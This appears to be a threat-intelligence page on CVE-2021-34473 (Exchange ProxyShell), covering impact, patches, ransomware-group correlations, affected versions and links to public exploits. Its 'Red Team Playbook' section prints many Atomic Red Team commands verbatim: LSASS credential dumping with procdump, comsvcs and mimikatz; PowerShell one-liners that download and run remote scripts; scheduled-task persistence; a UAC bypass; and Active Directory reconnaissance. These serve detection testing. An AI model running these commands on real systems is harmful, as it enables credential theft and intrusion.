CVE-2021-34473
Overview
This vulnerability is a remote code execution flaw caused by improper validation of requests in Microsoft Exchange Server's proxy functionality. Specifically, the issue arises from insufficient authentication and authorization checks in the Proxy component, which processes crafted HTTP requests. The affected feature is the Exchange Server's HTTP proxy service handling certain API endpoints, allowing attackers to manipulate request headers and parameters to execute arbitrary code remotely.
Vulnerability Description
Microsoft Exchange Server Remote Code Execution Vulnerability
Impact
An unauthenticated attacker can execute arbitrary code on the Exchange Server, effectively gaining full control over the affected system. This allows access to sensitive email data, credentials, and the ability to move laterally within the corporate network. No user interaction or valid credentials are required, enabling remote compromise that can lead to data breaches, persistent backdoors, and disruption of email services critical to business operations.
Solution
Microsoft has released security updates addressing this vulnerability in Exchange Server 2013 Cumulative Update 23, Exchange Server 2016 Cumulative Updates 19 and 20, and Exchange Server 2019 Cumulative Updates 8 and 9. Administrators should apply these updates promptly following guidance in the official Microsoft Security Advisory available at https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34473. No alternative mitigations are recommended beyond applying the vendor-supplied patches.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Confirmed Groups
| Group | Victims | Source |
|---|---|---|
|
bianlian
|
552 | correlation_misp |
|
bian lian
|
— | correlation_misp |
Correlated Groups
Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.
| Group | Confidence | Victims | Source |
|---|---|---|---|
|
Magic Hound
|
MEDIUM | — | correlation_mitre |
|
Iranian IRGC Data Extortion Operations
|
MEDIUM | — | correlation_misp |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in Microsoft Exchange Server allows for remote code execution, posing a significant threat to organizations relying on this widely used email and collaboration platform. This flaw arises from improper validation of input when handling certain requests. Attackers can exploit this weakness to execute arbitrary code on the server, potentially leading to unauthorized access to sensitive data, disruption of services, and the installation of malware. The severity of this vulnerability is underscored by its high CVSS score, which indicates a critical risk level that demands immediate attention from security professionals.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving crafted requests sent to the Exchange Server. An attacker could leverage social engineering techniques to trick a user into interacting with a malicious link or payload, or they could directly target the server through automated scripts that exploit the flaw. Once the attacker gains access, they can execute commands with the same privileges as the Exchange Server process, which often runs with elevated permissions. This level of access allows for extensive control over the server and potentially the entire network, making it a prime target for cybercriminals.
The real-world impact of this vulnerability is profound, particularly for organizations that handle sensitive information. Successful exploitation could lead to data breaches, loss of intellectual property, and significant reputational damage. Additionally, the financial implications can be severe, as organizations may face regulatory fines, legal costs, and the expenses associated with incident response and recovery efforts. The interconnected nature of modern IT environments means that a breach in one system can have cascading effects across an organization, amplifying the overall business risk.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching Microsoft Exchange Server installations is crucial, as vendors typically release updates to address known vulnerabilities. Organizations should also employ intrusion detection systems (IDS) to monitor for unusual activity that may indicate an attempted exploitation. Furthermore, implementing strict access controls and user permissions can limit the potential damage from a successful attack. Security awareness training for employees can also help mitigate risks associated with social engineering attacks.
In conclusion, the remote code execution vulnerability in Microsoft Exchange Server represents a critical threat to organizations that utilize this platform. The potential for exploitation through crafted requests highlights the need for robust security measures, including timely patch management, active monitoring, and employee training. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against the evolving landscape of cyber threats.
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2021-34473, reflecting a modest resurgence in attacker activity against this critical Microsoft Exchange Server vulnerability. While the overall exploitation trend remains relatively stable, this uptick coincides with continued ransomware campaigns linked to notable threat actors such as BianLian and Magic Hound, underscoring persistent adversary interest in leveraging this vector for data extortion operations. The emergence of updated proof-of-concept tools further lowers the barrier for exploitation, potentially broadening the pool of threat actors capable of mounting attacks. Consequently, the risk posture associated with CVE-2021-34473 remains elevated, warranting sustained vigilance despite the absence of a rapid escalation. This subtle increase in activity signals that threat actors continue to prioritize this vulnerability within their operational playbooks, maintaining it as a viable and attractive target in the current exploit landscape.
Update 2 — July 03, 2026
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2021-34473, reflecting a modest resurgence in adversary interest. This uptick, while not rapid or widespread, aligns with ongoing ransomware campaigns linked to groups such as BianLian and Magic Hound, underscoring the continued operational value of this vulnerability. The persistence of active proof-of-concept tools in public repositories sustains low barriers for exploitation, enabling a broader spectrum of threat actors to leverage this vector. Consequently, defenders should recognize that the threat level remains elevated, with adversaries maintaining steady pressure rather than accelerating activity. This subtle but consistent trend reinforces the vulnerability’s role as a persistent risk in the current threat landscape.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Microsoft | Exchange Server | 2013 |
cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
|
|
|
Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_19:*:*:*:*:*:*
|
|
|
Microsoft | Exchange Server | 2016 |
cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_20:*:*:*:*:*:*
|
|
|
Microsoft | Exchange Server | 2019 |
cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_8:*:*:*:*:*:*
|
|
|
Microsoft | Exchange Server | 2019 |
cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_9:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Microsoft Exchange ProxyShell RCE
exploits/windows/http/exchange_proxyshell_rce
|
Orange Tsai, Jang (@testanull), PeterJson +6 | Unknown | - | View |
GitHub PoCs (9)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
horizon3ai/proxyshell
Proof of Concept for CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207
|
horizon3ai | 120 | 37 | 2021-09-04 | View |
|
cyberheartmi9/Proxyshell-Scanner
nuclei scanner for proxyshell ( CVE-2021-34473 )
|
cyberheartmi9 | 46 | 11 | 2021-08-10 | View |
|
kh4sh3i/ProxyShell
CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability
|
kh4sh3i | 41 | 6 | 2022-06-29 | View |
|
p2-98/CVE-2021-34473
CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability
|
p2-98 | 30 | 14 | 2021-08-16 | View |
|
je6k/CVE-2021-34473-Exchange-ProxyShell
对Exchange Proxyshell 做了二次修改,精确的拆分、实现辅助性安全测试。
|
je6k | 17 | 3 | 2021-11-22 | View |
|
RaouzRouik/CVE-2021-34473-scanner
Scanner for CVE-2021-34473, ProxyShell, A Microsoft Exchange On-premise Vulnerability
|
RaouzRouik | 5 | 3 | 2021-08-11 | View |
|
ipsBruno/CVE-2021-34473-NMAP-SCANNER
A massive scanner for CVE-2021-34473 Microsoft Exchange Windows Vulnerability
|
ipsBruno | 2 | 1 | 2022-11-16 | View |
|
f4alireza/CVE
Proxyshell for Exploiting CVE-2021-34473
|
f4alireza | 0 | 0 | 2023-10-17 | View |
|
Loqueseamevaleverg/ProxyHell
Modernized ProxyShell Exploit (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207)
|
Loqueseamevaleverg | 0 | 0 | 2026-03-16 | View |
Ransomware Groups 4
Threat Feed
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
30%
|
High | High |
Red Team Playbook
76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-34473 |
| portal.msrc.microsoft.com |
GitHub CVE
x_refsource_MISC
|
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34473 |
| zerodayinitiative.com |
GitHub CVE
x_refsource_MISC
|
https://www.zerodayinitiative.com/advisories/ZDI-21-821/ |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/163895/Microsoft-Exchange-ProxyShell-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-34473 |